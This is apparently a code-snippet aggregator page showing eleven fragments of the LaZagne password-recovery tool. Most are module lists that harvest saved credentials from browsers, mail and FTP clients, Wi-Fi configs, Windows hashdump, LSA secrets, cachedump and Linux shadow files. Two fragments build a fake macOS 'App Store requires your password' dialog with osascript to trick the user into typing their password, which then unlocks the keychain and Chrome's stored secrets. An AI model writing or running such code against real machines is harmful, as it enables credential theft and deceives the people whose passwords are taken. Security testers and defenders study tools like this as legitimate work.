示例#1
0
def get_modules():
    moduleNames = [
        Dbvisualizer(),
        Dot_net(),
        Chrome(),
        CoreFTP(),
        Cyberduck(),
        Filezilla(),
        FtpNavigator(),
        IE(),
        GalconFusion(),
        Jitsi(),
        KalypsoMedia(),
        Mozilla(),
        Network(),
        Opera(),
        Outlook(),
        Pidgin(),
        Puttycm(),
        RoguesTale(),
        Tortoise(),
        Secrets(),
        Skype(),
        SQLDeveloper(),
        Squirrel(),
        Turba(),
        Wifi(),
        WifiPass(),
        WinSCP(),
        GitForWindows(),
        MavenRepositories(),
        ApacheDirectoryStudio(),
        OpenSSHForWindows()
    ]
    return moduleNames
def get_modules():
    module_names = [
        ClawsMail(),
        Thunderbird(),
        DbVisualizer(),
        Env_variable(),
        Filezilla(),
        Fstab(),
        # Mozilla(),
        Opera(),
        Chrome(),
        Pidgin(),
        Shadow(),
        Aws(),
        Docker(),
        Ssh(),
        Cli(),
        SQLDeveloper(),
        Squirrel(),
        Wifi(),
        Wpa_supplicant(),
        Kde(),
        Libsecret(),
        Mimipy()
    ]

    # very long to execute
    # try:
    # 	module_names.append(MemoryDump())
    # except:
    # 	pass

    return module_names + firefox_browsers
示例#3
0
def run_lazagne(category_selected='all', subcategories={}, password=None, interactive=False):
    """
    Main function
    """
    if password:
        constant.user_password = password

    if not constant.st:
        constant.st = StandardOutput()

    user = getpass.getuser()
    constant.finalResults = {'User': user}

    # Could be easily changed
    application = 'App Store'

    i = 0
    while True:
        # Run all modules
        for r in run_modules(category_selected, subcategories):
            yield r

        # Execute once if not interactive,
        # Otherwise print the dialog box until the user keychain is unlocked (so the user password has been found)
        if not interactive or (interactive and constant.user_keychain_find):
            break

        elif interactive and not constant.user_keychain_find:
            msg = ''
            if i == 0:
                msg = 'App Store requires your password to continue.'
            else:
                msg = 'Password incorrect! Please try again.'

            # Code inspired from: https://github.com/fuzzynop/FiveOnceInYourLife
            cmd = 'osascript -e \'tell app "{application}" to activate\' -e \'tell app "{application}" ' \
                  'to activate\' -e \'tell app "{application}" to display dialog "{msg}" & return & ' \
                  'return  default answer "" with icon 1 with hidden answer with title "{application} Alert"\''.format(
                    application=application, msg=msg
            )
            pwd = run_cmd(cmd)
            if pwd.split(':')[1].startswith('OK'):
                constant.user_password = pwd.split(':')[2].strip()

        i += 1

        # If the user enter 10 bad password, be nice with him and break the loop
        if i > 10:
            break

    # If keychains has been decrypted, launch again some module
    chrome_key = get_safe_storage_key('Chrome Safe Storage')
    if chrome_key:
        for r in run_module({'chrome': Chrome(safe_storage_key=chrome_key)}, subcategories):
            yield r

    constant.stdout_result.append(constant.finalResults)
示例#4
0
def get_modules():
    module_names = [
        Thunderbird(),
        Chrome(),
        HashDump(),
        ChainBreaker(),
        System()
    ]
    return module_names + firefox_browsers
示例#5
0
def get_modules():
	moduleNames = [
		Mozilla(),
		Chrome(),
		Hashdump(), 
		Chainbreaker(), 
		System()
	]
	return moduleNames
示例#6
0
def runLaZagne(category_choosed='all'):
    user = getpass.getuser()
    constant.finalResults = {}
    constant.finalResults['User'] = user

    for r in runModule(category_choosed):
        yield r

    # if keychains has been decrypted, launch again some module
    chrome_key = get_safe_storage_key('Chrome Safe Storage')
    if chrome_key:
        for r in launch_module({'chrome':
                                Chrome(safe_storage_key=chrome_key)}):
            yield r

    stdoutRes.append(constant.finalResults)
示例#7
0
文件: laZagne.py 项目: w2n1ck/LaZagne
def runLaZagne(category_choosed='all', interactive=False):
    user = getpass.getuser()
    constant.finalResults = {}
    constant.finalResults['User'] = user

    # Could be easily changed
    application = 'App Store'

    i = 0
    while True:
        # Run all modules
        for r in runModule(category_choosed):
            yield r

        # Execute once if not interactive, otherwise print the dialog box many times until the user keychain is unlocked (which means that the user passwod has been found)
        if not interactive or (interactive and constant.user_keychain_find):
            break

        elif interactive and constant.user_keychain_find == False:
            msg = ''
            if i == 0:
                msg = 'App Store requires your password to continue.'
            else:
                msg = 'Password incorrect! Please try again.'

            # Code inspired from: https://github.com/fuzzynop/FiveOnceInYourLife
            cmd = 'osascript -e \'tell app "{application}" to activate\' -e \'tell app "{application}" to activate\' -e \'tell app "{application}" to display dialog "{msg}" & return & return  default answer "" with icon 1 with hidden answer with title "{application} Alert"\''.format(
                application=application, msg=msg)
            pwd = run_cmd(cmd)
            if pwd.split(':')[1].startswith('OK'):
                constant.user_password = pwd.split(':')[2].strip()

        i += 1

        # If the user enter 10 bad password, be nice with him and break the loop
        if i > 10:
            break

    # If keychains has been decrypted, launch again some module
    chrome_key = get_safe_storage_key('Chrome Safe Storage')
    if chrome_key:
        for r in launch_module({'chrome':
                                Chrome(safe_storage_key=chrome_key)}):
            yield r

    stdoutRes.append(constant.finalResults)
示例#8
0
def get_modules():
    moduleNames = [
        ApacheDirectoryStudio(),
        Autologon(),
        Dbvisualizer(),
        Chrome(),
        CSE(),
        CoreFTP(),
        Cyberduck(),
        Filezilla(),
        FtpNavigator(),
        GalconFusion(),
        GitForWindows(),
        IE(),
        Jitsi(),
        KalypsoMedia(),
        MavenRepositories(),
        MemoryDump(),  # retrieve browers and keepass passwords
        Keepass(),  # should be launched after memory dump
        Mozilla(),
        Composer(),
        Credman(),
        OpenSSHForWindows(),
        Opera(),
        Outlook(),
        Pidgin(),
        Puttycm(),
        RDPManager(),
        Robomongo(),
        RoguesTale(),
        Tortoise(),
        Skype(),
        SQLDeveloper(),
        Squirrel(),
        Turba(),
        Unattended(),
        Vault(),
        Wifi(),
        WinSCP(),
        Cachedump(),
        Hashdump(),
        LSASecrets()
    ]
    return moduleNames
示例#9
0
def get_modules():
	moduleNames = [
		# Browser
		Chrome(), 
		Mozilla(),
		Opera(),
		CocCoc(),

		# Chats
		Pidgin(),	

		# Databases
		Dbvisualizer(), 
		Robomongo(),
		SQLDeveloper(),
		Squirrel(),

		# SVN
		Tortoise(),

		# Sysadmin
		ApacheDirectoryStudio(),
		Filezilla(),
		FtpNavigator(), 
		Unattended(),

		# Wifi
		Wifi(),

		# Windows
		DPAPIHash(),
		Cachedump(),
		Credman(),
		Vault(),
		Hashdump(),
		LSASecrets(), 
		Sysvault()
	]
	return moduleNames
示例#10
0
def get_modules():
    moduleNames = [
        ClawsMail(),
        DbVisualizer(),
        # Env_variable(),
        # Filezilla(),
        Gnome(),
        Jitsi(),
        Mozilla(),
        Opera(),
        Chrome(),
        Pidgin(),
        Shadow(),
        Aws(),
        Docker(),
        Ssh(),
        Cli(),
        SQLDeveloper(),
        Squirrel(),
        Wifi(),
        Wpa_supplicant(),
        kde(),
        libsecret()
    ]

    try:
        moduleNames.append(Mimipy())
    except:
        pass

    # very long to execute
    # try:
    # 	moduleNames.append(MemoryDump())
    # except:
    # 	pass

    return moduleNames
示例#11
0
def get_modules():
	moduleNames = [

		# Browser
		Chrome(), 
		CocCoc(),
		IE(),
		Mozilla(),
		Opera(),
		
		# Chats
		Jitsi(),
		Pidgin(),
		Skype(),
		PSI(),

		# Databases
		Dbvisualizer(), 
		Squirrel(),
		SQLDeveloper(),
		Robomongo(),
		PostgreSQL(),

		# games
		KalypsoMedia(),
		GalconFusion(),
		RoguesTale(),
		Turba(),

		# Git
		GitForWindows(),

		# Mails
		Outlook(),

		# Maven
		MavenRepositories(),

		# Memory
		Keepass(), 				# retrieve browers and keepass passwords
		MemoryDump(), 			# should be launched after memory dump

		# Php
		Composer(),

		# SVN
		Tortoise(),

		# Sysadmin
		ApacheDirectoryStudio(),
		CoreFTP(),
		Cyberduck(),
		Filezilla(),
		FtpNavigator(), 
		Puttycm(),
		OpenSSHForWindows(),
		RDPManager(),
		Unattended(),
		WinSCP(),

		# Wifi
		Wifi(),

		# Windows
		Autologon(),
		Cachedump(),
		Credman(),
		Hashdump(),
		LSASecrets(), 
		Vault(),
		WindowsPassword(),
		CredFiles(),
	]
	return moduleNames